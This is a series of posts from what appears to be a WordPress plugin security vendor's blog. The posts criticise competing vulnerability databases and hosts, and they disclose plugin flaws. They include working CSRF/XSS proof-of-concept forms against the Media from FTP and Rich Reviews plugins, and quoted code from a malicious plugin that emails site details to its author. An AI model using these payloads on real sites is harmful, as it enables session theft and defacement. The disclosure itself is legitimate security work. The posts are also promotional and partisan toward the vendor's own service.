15 Feb

A Doubly Bad Way to Check if Your WordPress Website Uses Plugins With Known Vulnerabilities

One of the many problems with the security industry is the use of ineffective solutions to tackle various tasks when much more effective solutions are readily available. While some of the usage of those less effective solutions may be necessary due the particulars of a situation, it seems that most usage is due to people providing security products and services despite not having a great grasp of security and the ability to make more money using those less effective solutions (at the expense of the customer getting a bad result). The way that leads to more money can come from getting sales for a product a service over others by making them sound more impressive than the more effective solution, which we will get to an example of in a bit, or by promoting the less effective solution as being a cheaper, but equally effective solution, when it really isn’t even close to being as effective.

When it comes to checking if a WordPress website is using plugins that contain known vulnerabilities the method used for our service is very effective. When we come across a report of a vulnerability (or in many cases become aware of one without a report having been released) in a plugin, we test things out to make sure that the vulnerability has existed and determine which versions of the plugin are impacted. We then add that info to our data set that can then be accessed through an API by the companion plugin for our service.

The companion plugin collects information on the plugins that are installed on the website along with the versions numbers of those plugins. That information is then sent to our website and any vulnerabilities that are in the current version or in other versions can be returned and then displayed or emailed by the companion plugin. That means that in seconds a check can be done and it can be easily repeated over and over (you can have the check done as often as every hour).

Live Testing

As example of a less effective solution that we would imagine sounds more impressive than that, take the Detectify service that we mentioned back in September, which was promoted with the following:

Detectify is a web security service that simulates automated hacker attacks on your website, detecting critical security issues before real hackers do.

While that may sound impressive, in reality it seems like really ineffective way to check for known vulnerabilities in WordPress plugins. Many WordPress plugin vulnerabilities being disclosed involve an action being taken by an Administrator, so to test for those things the service would need to have full access to the website, introducing additional security risk. Plenty of vulnerabilities have a persistent impact, so it seems like you wouldn’t want to have them tested for on a live website. For example, the other day we detailed an authenticated arbitrary file deletion vulnerability. To test that out, the service would have try to delete a file, so either the service is going to be delete a file intended to be on the website or it will need the ability to create a new file to delete.

Doing that testing on the website is going to take a lot more time then what is done with our service and it doesn’t look like that service is designed for continuous checking.

Another limitation of that service is that it has a fairly limited number of WordPress vulnerabilities it checks for, in fact it looks like we have more vulnerabilities in our data set than they check for in all types of software.

Making all that worse, if you are only interested in checking a WordPress website then that the service is going to cost you a lot more than ours. If you want to scan for things that require authentification the price is 10 and half times more than our service (and six times as much without authenticated checking).

WPScan and Burp WP

Recently we came across someone suggesting another route for checking a WordPress website for known plugin vulnerabilities, which lead to us writing this post:

I recently came across Burp WP, a WordPress scanning plugin for Burp Suite. It’s similar to WPScan, and uses the WPScan Vulnerability Database as its source of vulnerabilities. If you already use Burp for vulnerability scanning, then it’s nice to be able to include Burp WP to deep-dive into a WordPress site, without having to run WPScan separately.  I’ll be installing it on Monday to give it a test shortly after updating my sites to WordPress 4.9.3.

Neither of those tools will actually do a deep-dive into a WordPress website, since they work from the outside. That is one the two reasons they are bad for checking the plugins for known vulnerabilities.

One way those types of tools can check what plugins are in use is to look for references to them in frontend pages on the website. That approach is going to miss a lot of plugins since many don’t have anything that shows up there. The other would be to request the readme.txt files for each plugin (or some other file or maybe a directory) to see what ones are installed. So either you are likely to be missing a lot of plugins or you are going to making 100s or 1,000s of requests (depending on how many plugins there are in the data set of known vulnerabilities). In some cases one of those approaches could get you the version number of the plugin, but it won’t always, so you are not always going to be sure without further checking if the vulnerability impacts the version being used. Like the other solution, continuous checking is going to be difficult.

The second problem is the data source that is being checked against with those tools, the WPScan Vulnerability Database. That data source has one big positive, its data is accessible for free, but it also has a lot of negatives. Seeing as tools like that are promoted as being used by security professionals, you would expect that a lot times they are being used in instances where fees are being charged that would allow for using higher quality data than what is available for free.

You can look back at our past posts discussing the negatives aspects of that data, but to give you a quick idea let’s give you two recent example of the issues that we have found.

Just a couple of days ago in the context of a false claim that you won’t miss out vulnerabilities if you rely on WPScan Vulnerability Database, we noted a couple of recent examples of it missing vulnerabilities it really shouldn’t have. One of them was a vulnerability that was disclosed in early January, which had been being exploited before it was fixed. The other was a vulnerability we disclosed in late November that likely is being exploited and that has yet to be fixed. Those both seem like the kinds of vulnerabilities you would want to know about, but if you relying on that data source you wouldn’t (those are far from the only ones).

A very recent example involves a vulnerability disclosed in the plugin Bookly Lite less than a week ago. Here is the WPScan Vulnerability Database entry for that:

The problem with that is that not only was the vulnerability not fixed in version 14.5, it wasn’t even fixed as of the when that entry was added and last updated.

Before that vulnerability was even in that data set we had already tested out the vulnerability, determined the vulnerable versions, determined that it hadn’t been fixed, added it to our data set, and contacted the developer to let them know it wasn’t fixed. We have yet to hear back from them, but earlier today the vulnerability was fixed (though in a less than ideal way).

So with that data source you really need to double check to see if the vulnerabilities have been fixed since the data isn’t reliable in that regard, which with our service we have already done for you.

13 Feb

Actually MainWP, You Will Miss out on Vulnerabilities if You Rely on the WPScan Vulnerability Database

The marketing of security products and services often consists of misleading or outright false claims, which isn’t all that surprising considering how awful the security industry is.  One thing we have seen being misleadingly used fairly often is the phrase real-time, which often is used in way that make it sounds like a much higher level of service is being provided.

As example of that involving our area of focus, we recently ran across MainWP, a service for managing multiple WordPress websites, promoting an extension for their service that accesses data from the WPScan Vulnerability Database with this claim:

  • The Vulnerability database updates itself real-time so you don’t miss out on any vulnerabilities.

While it is true that data source updates in real-time that doesn’t mean that you won’t miss out vulnerabilities, because the real-time part is that you can access data on vulnerabilities in real-time after they are added to that data source. They first have to be added though, so what would matter is how long it takes for them to be added or if they are added at all. That is something MainWP doesn’t address there and we would guess they probably didn’t bother to look into it (it wouldn’t be the first someone made an inflated claim about the WPScan Vulnerability Database without knowing what they are talking about).

The reality is that in some cases a non real-time updated data source for plugin vulnerability data provides data that is missing entirely from the WPScan Vulnerability Database. That being the companion plugin for our service, for which we include data on vulnerabilities that appear to be being exploited, so that even those not using our service yet can be warned about them.

Two recent vulnerabilities missing from their data, but in our plugin, are good examples of how WPScan’s data is less than ideal and really should be paired with our plugin (or even better, just use our service).

On January 4 NinTechNet disclosed that they had seen an arbitrary file upload vulnerability in the plugin LearnDash LMS being exploited and that it had been fixed after they notified the developer. That didn’t seem to be an isolated situation as we were in contact with someone shortly after that whose website was likely had exploited through that vulnerability well.

That would seem to be an important vulnerability to warn about, but more than a month later it still hasn’t been added to the WPScan Vulnerability Database. By comparison our plugin has been warning about it since January 9 (and our service before that). Because that data comes with the plugin, our plugin would need to be updated to be warn about that, but if you are not keeping plugins up to date, you are going to have larger security issues.

On November 27 we disclosed an arbitrary file upload vulnerability in the plugin PHP Event Calendar.  We had noticed that after seeing someone probing for usage of the file the vulnerability existed in, on our website the day before, so it is likely that vulnerability is being exploited as well.

Two and half months later, during which we have seen additional probing for the plugin in third-party data we monitor, the vulnerability still hasn’t been added to the WPScan Vulnerability Database. It was added to our plugin’s data the same day we disclosed it (and added to our services data then as well). That vulnerability hasn’t been fixed, so simply keeping plugins up to date would not protect you from it.

Those examples stick out, not just because the vulnerabilities were being exploited, but because it would be so easy for the people behind the WPScan Vulnerability Database to make sure to include those, since all they would have to do is monitor changes being made to our plugin. It therefore probably isn’t all that surprising to hear that their database is also missing a lot of other vulnerabilities as well. For example, when we did a comparison of  new vulnerabilities added to the data set for our service versus WPScan’s during the month of June last year, we found that we had added three times as many vulnerabilities. There are other serious issues with their data, which we have discussed in the past.

Another thing to keep in mind, when it comes to real-time claims, is that they also depend on how often the source is being checked. MainWP doesn’t provide any information on how often their extension checks things, but with our service you can check as often as hourly to see if there are any vulnerabilities in the versions of plugins you are using.

This isn’t the only incident where something marketed as real-time has left a lot to be desired when it comes to plugin vulnerabilities, as back in June of 2016 we discussed Wordfence’s apparent lack of knowledge of numerous probable zero-day vulnerabilities despite the claims they make about their Real-Time Threat Defense Feed.

02 Feb

SiteGround’s Poor Handling of Security Surrounding WordPress Plugins

One of the many problems we see when it comes to improving the security of websites is that it easy for companies to make it sound like they are doing impressive things in regards to security when they are doing very little or even doing things in way that put their customers at risk.

Recently we ran across an example of that involving the web host SiteGround, which was touting their quick response to a WordPress plugin vulnerability in a blog post:

Тoday, a serious vulnerability issue with one of the vastly used Yith plugins – the WooCommerce Wishlist was discovered by Sucuri. The latest plugin version – 2.2.0 patches the vulnerability but all versions prior to it are at risk. To protect our customers, who haven’t updated their plugin, our security team started working immediately and a WAF rule was just applied on our servers.

We’re very proud of our internal WAF (Web Application Firewall) system that protects all SiteGround shared and cloud servers. It allows us to dynamically add different rules across our network and block hacking attempts. The moment we got notified about the issue with YITH WooCommerce Wishlist plugin, our security team started working on the case. We’ve managed to come up with a rule, that shields you against potential attacks utilizing this vulnerability. Although this does not patch the problem in its core, we’ve added protection against those, who try to utilize it. This said, we urge you to update to the latest plugin version, which includes the official patch for this vulnerability.

As we will get to in a second this really isn’t all that impressive, but based on the comments on the post, others thought so.

That post was written on January 17, which was six days after the vulnerability was fixed. If a hacker had been interested in the vulnerability they likely could have already been exploiting shortly after it was fixed, considering that it should have not been hard to figure out what it was based on the changelog entry for it:

  • Fix: fixed security vulnerability, causing possible SQL Injections (huge thanks to John C. and Sucuri Vulnerability Research team)

That is one of a number of reasons it would be much better for people to be keeping their plugins up to date then rely on a WAF for protection. Another one that is important to consider, is that the protection like that may not work all that well, as we and others have found that type of protection can be rather limited in what it stops. We have yet to see any WAF providers that provide results from testing, much less independent testing, that their WAF is effective at protecting websites from real threats (despite that seeming like it should be a baseline requirement for anyone considering paying for such a product/service). By comparison, since vulnerability fixes are public there is at least the chance that others will have checked over things. While that doesn’t always happen, it does happen enough to regularly lead to further improvements to protection against those vulnerabilities, which likely can’t be said about those WAFs.

What is the much larger issue here though, is that this was the only vulnerability they made an announcement about providing protection for last month. That is rather underwhelming when you considering that we added data on 44 newly disclosed vulnerabilities to our data set last month, including 11 that haven’t been fixed. So why that vulnerability and not any of the other 43?

That plugin is fairly popular, but as people dealing with security of websites should really know, the popularity of a plugin has little role in the risk of a vulnerability being exploited, so that would seem like it isn’t reason (or at least shouldn’t be).

It shouldn’t be the type of vulnerability either, seeing as SQL injection vulnerabilities are not something that in most variants is something that is of much chance of being exploited on the average website.

Instead it looks like there is simple explanation, that vulnerability was the only one disclosed by their security partner Sucuri last month (a partnership that has caused SiteGround customers to be provided false claims that websites are hacked due to SiteLock’s really poor scanner). In fact going back through last year, the only other blog entry announcing protection against a WordPress plugin vulnerability was another one disclosed by Sucuri. Considering that that neither of those was one that is of much concern to the average website and considering that there have been many vulnerabilities that were already being exploited or likely to be exploited, they don’t appear to have to done much for their customers when it comes to protecting against vulnerabilities in WordPress plugins. Unlike SiteGround, we don’t passively wait to be notified about disclosed vulnerabilities, so we can help protect our customers from many more vulnerabilities (we also provide a plugin to handle automatically updating plugins).

In looking over SiteGround’s other recent blog entries we noticed more concerns when it comes to their handling of security. For example, in one post they were touting their “AI-based” supposed prevention of brute force attacks, despite that type of attack not happening. Considering at best that they are misusing basic security terminology, something their partner Sucuri has claimed is a red-flag when it comes to security (though amazingly equally applies to Sucuri itself), it probably isn’t all that surprising that their WordPress plugin, which has over 300,000+ active installs according to wordpress.org, has multiple easy to spot security vulnerabilities.

One of the vulnerabilities is so easy to spot that it was picked up by our Plugin Security Checker, which does limited automated security checks of WordPress plugins (and is now accessible through a WordPress plugin of its own). We have notified SiteGround of the details of the vulnerabilities and will be disclosing them once they have had a chance to fix them.

17 Jan

It Looks Like Our Plugin Security Checker Caught a Vulnerability That Was Missed by a WordPress Plugin Directory Review

In continuing to work on improving our Plugin Security Checker, which does limited automated security checks of WordPress plugins (and is now accessible through a WordPress plugin of its own), we have been interested to see where it can already provide value over what is already being done to improve the security of plugins. We recently got what looks to be an example of it catching something that was missed by the team managing the Plugin Directory.

Last Tuesday we were contacted by one of our customers, J.D. Grimes, to let us know that he had noticed that an attempt to fix a vulnerability in the plugin Media from FTP looked like it had failed to fully fix the vulnerability, but he didn’t have time to verify that or contact the developer about that. We took a look, confirmed that the fix was incomplete, and then worked with the developer to implement a better fix. A new version with that second fix was released later the same day.

At some point on Thursday the plugin was closed on the Plugin Directory. No explanation was given why that was, but based on the subsequent changes made and past experience, we would guess that the plugin was belatedly closed due the then fixed vulnerability and then the Plugin Directory required additional changes be made based on a privacy and security review done after it was removed. According to their documentation that should involve the following:

  • Don’t phone home without informed user consent
  • Collection of user data must be “opt-in” only and have the relevant option set to disabled by default
  • Validate and sanitize untrusted data before processing (See: Data Validation)
  • Escape all data before output (See: Data Validation)
  • Do not use URL shorteners
  • Use prepare() and $wpdb for SQL calls

Sometime on Thursday prior to the plugin having been closed someone ran the plugin through our Plugin Security Checker and it detected a possible issue. We have been doing spot checks on what is being flagged by that to improve the quality of the results (last week we fixed one false positive and another issue that could have lead to false positives through that), so we went to check on that. Looking at the details of the issue identified, which are available through the tool’s new Developer Mode, it certainly looked like there could be a reflected cross-site scripting (XSS) vulnerability as user input was being output without being escaped:

A quick check confirmed that this was an exploitable vulnerability (though far from a serious issue for the average website), as can be seen with the proof of concept below.

That should have been something caught by a check meant to insure that “Escape all data before output (See: Data Validation)”. Many of the changes made to the plugin after it was removed from the directory dealt with sanitizing user input, so this seems like something that should have also been caught, but the plugin returned to the directory without it being fixed.

Yesterday we contacted the developer and they released a new version, 9.90, which fixes the vulnerability by replacing the variable used (since previously a different value than intended one could be shown) and the value is escaped using esc_attr():

<input name="page" type="hidden" value="<?php echo esc_attr($_GET['page']); ?>" />

This seems to show using our tool could improve the security reviews that are supposed to be being done by the Plugin Directory to catch this type of issue as well as more serious issues. As we have said in the past, we would be happy to provide free access to the Plugin Directory team to the portions of the tool that normally are restricted to those using our service.

This also seems like further confirmation that that when the tool detects a possible reflected cross-site scripting (XSS) vulnerability that it is a good indication that a plugin could use a more thorough review, considering the other recently fixed issues in this plugin.

Proof of Concept

The following proof of concept will cause an alert box with the message “XSS” to be shown. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin.php?page=mediafromftp-search-register" method="POST">
<input type="hidden" name="page" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />


  • January 16, 2018 – Developer notified.
  • January 16, 2018 – Version 9.90 released, which fixes the issue.
22 Dec

The Problem With Relying On Wordfence For Security Information

A month ago we discussed how Wordfence’s idea of keeping “site owners safe from exploitation” actually puts them at risk. Part of what we mentioned in that was that relying on security companies to tell if you plugins should be updated due to vulnerabilities being fixed is a bad idea for a number of reasons. One of them being that, as was shown with Wordfence’s post, they may be doing that well after a vulnerability was fixed, and in the case of that post, also well after it was publicly disclosed that the vulnerability was being exploited.

Along those lines it was only on December 19th that Wordfence put out a post warning about the plugin Captcha, something we did back on December 8th. That post does add some more information beyond what we identified back then, but the main point has been out there for some time before they got around to mentioning that.

When we went to look at that post we also noticed another post of theirs that is a reminder that Wordfence seems less interested providing accurate and timely information, and more interested in promoting themselves, even if that comes at the expense of people’s view of the security of WordPress.

This is Not a Brute Force Attack

The day before that post about Captcha, they had another one titled “Breaking: Aggressive WordPress Brute Force Attack Campaign Started Today, 3am UTC”, which like their previous claims along these line, isn’t true.

That can be seen starting with the last sentence of the first paragraph:

This is the most aggressive campaign we have seen to date, peaking at over 14 million attacks per hour.

A brute force attack involves trying every possible password combination to log in to a website. To give some idea of what kind of numbers that would involve, here is something we wrote on our main blog a while back:

To give you an idea how many login attempts that would take, let’s use the example of a password made up of numbers and letters (upper case and lower case), but no special characters. Below are the number of possible passwords with passwords of various lengths:

  • 6 characters long: Over 56 billion possible combinations (or exactly 56,800,235,584)
  • 8 characters long: Over 218 trillion possible combinations (218,340,105,584,896)
  • 10 characters long: Over 839 quadrillion possible combinations  (839,299,365,868,340,224)
  • 12 characters long: Over 3 sextillion possible combinations  (3,226,266,762,397,899,821,056)

For a 6 character long password, trying half of the possible combinations at 14 million an hour would take 2,000 hours or over 83 days. So that would take a while to possibly succeed.

In this case though the numbers would be much worse since Wordfence wasn’t claiming that 14 million attempts per hour for one website, but for up to 190,000

  • We are seeing up to 190,000 WordPress sites targeted per hour.

That works out to about 74 attempts per hour per website, so this clearly isn’t a brute force attack. If they lead with that number, people would be lot less concerned, but Wordfence seems more interested in creating unnecessary fear to push their plugin:

If you have not already done so, install Wordfence immediately on your site.

And their paid service:

We strongly recommend that you upgrade to Wordfence Premium to benefit from the real-time blacklist feature which blocks any traffic from these malicious IPs.

In this case, Wordfence actually indicates what they are talking about isn’t a brute force attack, as they write:

A possible explanation for this new massive increase in brute force attacks
On December 5th, a massive database of hacked credentials emerged. It contains over 1.4 billion username/password pairs. Approximately 14% of the database contains credentials that have not been seen before. The database is also searchable and easy to use.

When we bring up the repeated false claims of brute force attacks against WordPress admin password, people have repeatedly claimed that this is simply a semantic issue, but the reality is how you handle different types of attacks is different, so you need to first need to know what is really going on.

In a case where someone is trying to login in using shared credentials the best protection against that is to not use the same username/password across websites and yet in Wordfence’s list of 8 of actions to protect against this, the relevant one is all the way at the end:

8. Do not reuse a password on multiple services. That way if you have a password from a data breach in this new database, it won’t be the same as your WordPress admin password. You can use a password manager like 1password to manage many passwords across services.

Before you get to that, five of the entries are promoting their plugin or service, for example number one is:

1. Install a firewall like Wordfence that intelligently blocks brute force attacks.

If you use the same username and password across websites and that is breached the website could be breached with as little as one login attempt and firewall is going to be able provide limited protection at best, so that shouldn’t be the number one thing to do. Two factor authentication would be a better option, but that only comes in at number 5.

Number 2 shows that they will even promote their product over mentioning where WordPress does a good job on security:

2. Ensure that you have strong passwords on all user accounts, especially admin. Wordfence Premium provides password auditing capability.

You don’t need password auditing capability as WordPress already provides a good measure of the security of passwords and by default it generates secure ones. If you wanted to improve things then it might make sense to limit passwords to strong ones, instead of trying to auditing them after the fact.

There is another problem with these types of claims, it is causing people to take the wrong lesson from them. There are several comments on Wordfence’s posts about not using WordPress because of things like this. Here is one:

Thanks for the support and heads up Mark.
This rubbish is exactly why I will no longer use WordPress.
Just this week I have already shifted my sites across to another platform.
I feel for everyone who has no idea on the simplest security measures, including the free level of Word Fence let alone paying for the Premium version.
It’s not what it costs up front, but the cost to repair, replace or fix what has been lost.

The reality is this type of attack isn’t in some way connected to WordPress or unique to it, but Wordfence presents thing in way to that leads people to believe otherwise. Probably because they are most interested in promoting their WordPress security products, even when they are not the best solution to the problem.

20 Dec

Hundreds of Websites Still Using Intentionally Malicious WordPress Plugins Three Years After Being Removed From Plugin Directory

Recently the WordPress Plugin Directory was changed so that the pages for plugins that have been closed remain visible (previously they were removed). One of the impacts, for better and worse, is that you can see how many websites are still using those plugins. Last week we discussed how one plugin that was removed over a year ago due to a security issue that was being exploited, was still being used on fairly significant number of the websites that used it before that occurred. We went to look into that after we saw what looked to be a hacker probing for the usage of the plugin again.

This week we saw what looked like it might be someone probing for the usage three plugins (the requests came from different IP addresses, but occurred within seconds of each other). We will be discussing the two others in upcoming posts. But first we thought it would be worth separately discussing the other, as it is a bit different since the other two plugins contained vulnerabilities, while this one was intentionally malicious. The plugin was named Page Google Map (or just Google Map) and the request we saw was for the file /wp-content/plugins/page-google-maps/pr.php.

That plugin was part of a set of plugins we saw someone probing for back in October of last year. As we discussed in more detail then, the person or persons behind those had copied legitimate plugins and resubmitted them to the Plugin Directory and then added malicious code to them. In the case of this plugin, it was copied from version 1 of the plugin Simplified Google Maps Light.

At some point it looks like the Plugin Directory realized what was going on and removed those plugins. This plugin was in the directory at least through March 25, 2014, but was gone by September 1st of that year. People using the plugins were not warned about the true nature of the plugins and we couldn’t find any indication that there was any public mention of the issue with most of the plugins at the time. That doesn’t seem to have hidden the issue from other malicious actors, though.

The person(s) behind those plugins shouldn’t have needed to probe for usage of the plugins, as part of the malicious code emailed them when the plugins were activated and deactivated. Here is that code in this plugin:

register_activation_hook( __FILE__,'mapsgtreplugin_activate');
register_deactivation_hook( __FILE__,'mapsgtreplugin_deactivate');
function mapsgtreplugin_activate() { 
$yourip = $_SERVER['REMOTE_ADDR'];
$filename = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/page-google-maps/welcomenote.txt';
fwrite($fp, $yourip);
session_start(); $subj = get_option('siteurl'); $msg = "Maps is Activated" ; $from = get_option('admin_email'); mail("johnandrerson259@gmail.com", $subj, $msg, $from);
add_option('gmapsgoogleswpred_do_activation_redirect', true);
/** Uninstall it */
function mapsgtreplugin_deactivate() { 
session_start(); $subj = get_option('siteurl'); $msg = "Maps is Uninstalled" ; $from = get_option('admin_email'); mail("johnandrerson259@gmail.com", $subj, $msg, $from);

Based on that and that we have seen probing for as little as one of this plugins, it seems that others realized that these vulnerabilities existed and then went to see about exploiting them.

The other malicious code allowed remote code execution and in this plugin that was contained in the file /pr.php, which was what was being probed for on our website.

According to wordpress.org there are currently still 500+ active installations of the plugin:

That indicates that there are between 500 and 599 website still using the plugin.

For this plugin the first version, 1.3, didn’t contain the file hacker probing for or the other malicious code, so some websites still using it might not be vulnerable.

The restoration of the pages of closed plugins also makes it to see other things about these plugins, in the case of the plugin we noticed that a couple of the reviews of the pluign were from people saying that they had tried multiple map plugins and this one was the best, which is interesting considering that it is simply a copy of another map plugin in the Plugin Directory.

Avoiding Using Vulnerable Plugins

There are a couple of obvious things that people on the WordPress side of things could do to help with unfixed vulnerable plugins whether due to intentional malicious code like this one or not. The first would be for WordPress to notifying people using a plugin with a known vulnerability that it has a known vulnerability. Another one would be for WordPress to release a fixed version, something that they currently only do in rare occasions and when it came to the plugin we discussed last week they didn’t even want to have a discussion about doing (we would be happy to help with them with fixing those vulnerabilities). Better handling unfixed vulnerabilities isn’t being helped by the fact that WordPress founder Matt Mullenweg claims that the issue is “hypothetical”.

Another solution here is for people to be using our service’s companion plugin, as the free data that comes with that warns about plugins that hackers are targeting, so anyone using our plugin and this one would have been warned about it since October of last year.

Our plugin is often the only free source of vulnerability information that warns about exploited vulnerabilities, despite it being possible for others to look at the data included in that and the information on our website. With this plugin, despite our public disclosure over a year ago, it isn’t listed in other free data sources we are aware of.

If you are thinking that avoiding plugins that have been removed from the Plugin Directory would protect you from unfixed vulnerabilities, that used to be the case, but these days it isn’t because we were about the only ones making sure that vulnerable plugins were getting removed and since we suspended doing that due to WordPress continued poor handling of security, no one else has taken over doing that. That currently means that plugins with millions of active installations contain known vulnerabilities in the latest version. If you were using our service you would be warned if you were using those as well having us available to help you in taking action to protect yourself (we often can provide a workaround until the developer fixes the vulnerability or until you can move off of the plugin).

19 Dec

More Evidence That the Data in the WPScan Vulnerability Database Isn’t All That Reliable

Yesterday we noted how the WPScan Vulnerability Database had incorrectly labeled a reflected cross-site scripting vulnerability discovered by Robb Carr in the plugin RegistrationMagic as having been fixed. While it would have been easy to check the proof of concept provided with the report on the vulnerability and see that the vulnerability still existed, as we did, they pretty clearly didn’t. That lack of testing is a big issue, since if you are relying on their data, you really need to test out any vulnerabilities in the plugins you use to make sure they truly have been fixed (or just use service that test vulnerabilities when adding them to their data set, of which we seem to be the only one that exists).

Looking at the entry for that in their database today, they have changed the entry to indicate that the vulnerability has been fixed as of the version released after we notified the developer of the issue:

They also changed the entry for a related claimed authenticated SQL injection vulnerability in the plugin to indicate it was fixed in that version as well:

That seems to be incorrect and an indication that they still didn’t bother to test things out.

As was mentioned in our previous post, we wouldn’t consider what was claimed to be vulnerability there to be a vulnerability, as the issue could only be exploited by Administrators, who normally would be able to do the equivalent of this (or to change a plugin to remove security code). But if you consider it a vulnerability, then it looks to us that it was fixed in the version that WPScan previously listed it as having been fixed in. As with the other vulnerability this would be easy to test out. All that they would have needed to do that would be to install version and visit the proof of concept URL and see that it worked, then switch to version and see that it didn’t work. Looking at the underlying code, it looks like that version fixed it as well.

19 Dec

The Results of Our WordPress Plugin Security Checker Lead to More Serious Issues in Plugin

We recently introduced a new tool to check WordPress plugins in the Plugin Directory for possible security issues. As we continue to look to how we can improve that, we are recording any issues identified by it, so that we can see what kinds of things it is identifying and where they might be room to refine the checks.

In looking over one of the plugins that it identified issues in, what we found was that one of the possible issues was not likely to be exploitable, but did point to the possibility that plugins was not all that securely written in general and lead to us finding a more serious vulnerability in the plugin. That is obviously one data point, but it does indicate that it might be useful for plugins that are identified as having possible issue to have proper security review done. For those using our service they can then vote/suggest to have the plugin receive a review from us and for those that some reason are not interest in the service can always order a review separately.

Unneeded AJAX Registration

The checker identified two possible issues in the plugin Rich Reviews. The first issue identified was:

  • The plugin makes functions accessible to users that are not logged in to WordPress through its AJAX functionality. They should be checked to make sure they are intended to be accessed by those not logged in.

That check will identify code that is safe and intentionally set up to allow those not logged in to access, as well instances where it isn’t intended. In this case it identified something that doesn’t look like it was intended to be accessed by those not logged, but what can be done by those not logged is basically harmless.

For two similar functions the plugin makes them accessible to both those logged in to WordPress and those not logged in. Here is how that looks for one of the functions (the nopriv line allows those not logged in to access it):

add_action( 'wp_ajax_rr_dismissed_help_notice', array(&$this,'ajax_rr_dismissed_help_notice' ));
add_action( 'wp_ajax_nopriv_rr_dismissed_help_notice', array(&$this,'ajax_rr_dismissed_help_notice' ));

Here is the related function:

function ajax_rr_dismissed_help_notice() {
	$this->parent->shopApp->options->update_option('dismissed_help_notice', TRUE);

That will dismiss a help notice from the plugin, which at best might be a bit of a nuisance if someone not logged in caused that to happen. At the same time since that is something that is only shown in the admin area of the plugin, there isn’t any reason that someone not logged in showed be accessing it.

Unintended Validation?

The second issue identified was:

  • User input is being directly output, which could lead to reflected cross-site scripting (XSS).

That would have been caused by any the following three lines in the file /lib/rrShopApp/views/edit_single_index.php:

<form name="single-product-index" id="edit-index-<?php echo $_GET['id']; ?>" method="post">
<input type="text" name="id" value='<?php echo $_GET['id']; ?>' disabled/>
<form method="post" name="delete-listing-<?php echo $_GET['id'];?>" id="deleteListingForm">

In each of those the value of the GET input “id” is being output without being escaped, which could lead to reflected cross-site scripting (XSS). We say lead to because it could be that input was sanitized prior in the code, which would preclude the need for escaping, or in this case was validated, which would limit what could be output.

Before any of those lines can be reached the following check is done:

if (isset($options['product_catalog_ids'][$_GET['id']])) {

So unless the value of the “id” input is contained in $options[‘product_catalog_ids’] the code doesn’t run.

While it is unlikely that could be exploited, it still would be a good idea to escape those previous lines even with that in place and in this case it seems possible that check that limits was not intentionally done with security in mind, so the lack of escaping could be an indication of poor security elsewhere.

Persistent Cross-Site Scripting (XSS)

We recently have been testing out a security tool named OWASP ZAP to see if an automated tool (or more accurately considering the work that needs to be done to get it to be useful, semi-automated) could provide some additional value beyond the kind of security checks we already do during our security reviews. We ran that over the admin pages of this plugin and it identified a possible issue. The issue is something that our normal checking during a security review would have caught as well, though. When we went to look into the details we found that the issue was more serious than what the tool identified.

What the tool identified was that on the plugin’s Options page there was a reflected cross-site scripting (XSS) vulnerability. When checking other plugins we have found that type of issue has been a false positive because it doesn’t understand the implication of a nonce in the request that was included in the requests. In this case there wasn’t a nonce, which meant that there was a cross-site request forgery (CSRF) issue when saving the plugin’s settings as well. That can be combined with XSS leading to a CSRF/XSS vulnerability. That is probably more serious than a reflected XSS issue, though neither is likely to be exploited.

What an automated tool like that doesn’t do is understand the underlying code that leads to the vulnerability. With this vulnerability, as we went to look at the underlying code we found that it was more serious.

The saving of the plugin’s settings is handled by the function update_options() in the file /lib/rich-reviews-options.php. The only requirement in that code to change the settings is that the POST input “update” is set to “rr-update-options”:

public function update_options($init = null) {
	if($init == true ) {
		foreach($this->defaults as $key => $val) {
			if(!$this->get_option($key)) {
			  $this->update_option($key, $val);
	if (isset($_POST['update']) &amp;&amp; $_POST['update'] === 'rr-update-options') {

That function is called when a new instance of the class RROptions is being constructed. A new instance of that class is created when new instance of the class RichReviews is being constructed. That in turns in happens on the last line of the plugin’s main file:

$richReviews = new RichReviews();

That means that any time the plugin is loaded, which would be when any page on the frontend or the backend of WordPress is loaded, as long as the plugin is activated, it would be possible to change the plugin’s settings. So someone could send a request to homepage of the website and cause the plugin’s settings to be changed. Through that an attacker could cause malicious JavaScript code to be output on frontend and or admin pages.

Lesser Issues Fixed

On November 3 we notified the developer of all those issues and they replied later that day. On November 13 the two lesser issue that our checker identified were fixed, but the more serious issue with the changing of the settings was not fixed. The version number was not changed, so if anyone that is already using version 1.7.3 would not be prompted to update. On November 14, we notified them that the more serious issue was unresolved. They responded the next day, that would be worked on. Nothing has happened since then.

Proof of Concept

The following proof of concept will change the value of the plugin’s Submit button text to JavaScript code that would show an alert with any available cookies, which would run both frontend pages that show that as well as on the Options page.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="update" value="rr-update-options" />
<input type="hidden" name="form-submit-text" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />


  • November 3, 2017 – Developer notified.
  • November 3, 2017 – Developer responds.
  • November 13, 2017 – Developer release new version of 1.7.3, which resolve less serious issues.
  • November 14, 2017 – Developer notified of unresolved issue.
  • November 20, 2017 – Developer responds.
18 Dec

Lack of Due Diligence by the WPScan Vulnerability Database and WPCampus Lead to False Claim That WordPress Plugin Vulnerability Was Fixed

We are big believers in having the full details of vulnerabilities, whether they are in WordPress plugins or other software, be disclosed in most instances. That isn’t because that makes our work of compiling data on ones in WordPress plugins easier, but because we see the positive impact that has, as well as the more often emphasized negative impact. One of the important reasons for doing that is that we often find vulnerabilities that were supposed to have been fixed have only been partially fixed or not fixed at all. With more details it makes it easier for others to check to make sure the vulnerability has been fully fixed.

What is important to keep in mind though is that just releasing those details doesn’t mean that they will be checked and any unfixed vulnerabilities will be caught. When it comes to WordPress plugins, that is one of quite a few things that we seem to be the only ones doing. You wouldn’t know that by claims that people make about us, for example in a recent review of the companion for a plugin, which was less a review of the plugin and more someone just bashing us, they wrote:

Why isn’t the author doing more to help with the security community instead of bashing everyone?

Based on one of their other reviews they are a customer of Wordfence, so it wasn’t surprising that they wouldn’t know what we are up to do, since Wordfence is a company that intentionally hid that we had been the discoverer and discloser of a vulnerability they were discussing not too long ago (something they have done not just with us, but others companies as well). We had responded to that review asking for evidence that someone does more than we do and we have yet to get any response.

